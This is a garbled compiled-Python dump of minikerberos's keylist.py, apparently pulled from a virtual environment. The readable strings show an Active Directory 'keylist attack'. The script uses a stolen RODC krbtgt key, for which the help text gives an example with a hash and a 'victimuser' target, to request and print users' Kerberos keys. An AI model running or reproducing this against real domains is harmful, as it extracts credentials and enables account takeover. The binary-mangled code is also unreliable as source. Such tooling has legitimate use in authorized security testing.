o j@sddlZddlZddlmZmZddlmZddlmZdZ ddl Z Gddde j Z dde d e d e fd d Zd dZedkrDedSdS)N)KerberosClientFactorykerberos_url_help_epilog)Kirbi)KERB_KEY_LIST_REPa Requiremets: - You must obtain a valid secret key for an RODC krbtgt_##### account - Point the URL to a non-RODC active directory server - The target server in the URL specification can be IP address or FQDN - This attack is really sensitive on using the correct domain in the URL specification - The target user MUST be a user account that is explicitly allowed to be synchronized to the RODC Example: python keylist.py 'kerberos+rc4://test.corp\krbtgt_1234:921a7fece11f4d8c72432e41e40d0372@10.10.10.2' victimuser python keylist.py 'kerberos+aes://test.corp\krbtgt_1234:921a7fece11f4d8c72432e41e40d0372921a7fece11f4d8c72432e41e40d0372@10.10.10.2' victimuser c@s4eZdZdZdZdZdZdZdZdZ dZ d Z d Z d S) SupportedEtypes iiiiN) __name__ __module__ __qualname__ DES_CBC_CRC DES_CBC_MD5ARCFOUR_HMAC_MD5AES128_CTS_HMAC_SHA1_96AES256_CTS_HMAC_SHA1_96AES256_CTS_HMAC_SHA1_96_SKFASTCOMPOUND_IDENTITY CLAIM_TOKEN!Resource_SID_compression_disabledrr/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/keylist.pyrsr kerberos_url targetuser targetrealmc sRtdg}zt|d}|}Wdn1swYWnty<}z ||WYd}~nd}~ww|D]}zt|}| }|j ||dIdH\}} } Wntyu}zt d|d|WYd}~q?d}~wwt | i} d| vr| ddur| dD]D} | ddkrt | d } | jD]} | d | vrg| | d <| | d | d qq| dd krtj| d d dd}t t|jqt| dkrt d|dq?|}|d}|dur t|ddkrd|d}n|d}d||ddf}| D]}| |D]}t d|||fqt dq q?dS)NzPerforming keylist attackr)rz[ERR] z: zencrypted-pa-dataz padata-typez padata-valuekeytypekeyvaluelittleF)signedrz": No keys returned from the servercnamez name-stringr\crealmz%s\%sz [%s] %s: %s)loggingdebugopenread splitlines Exceptionappendrfrom_url get_clientkeylistprintrloadnativeint from_bytesrnamelengetjoinhex)rrr targetusersfecuclienttgs encTGSRepPartkeykeys encpadatar3supported_etypescredusername userrealmr!r"rrr keylistattack%sj                rLcCsddl}|jd|jtd}|jddddd|jdd d |jd d d |jd dd |}|jdkrs   7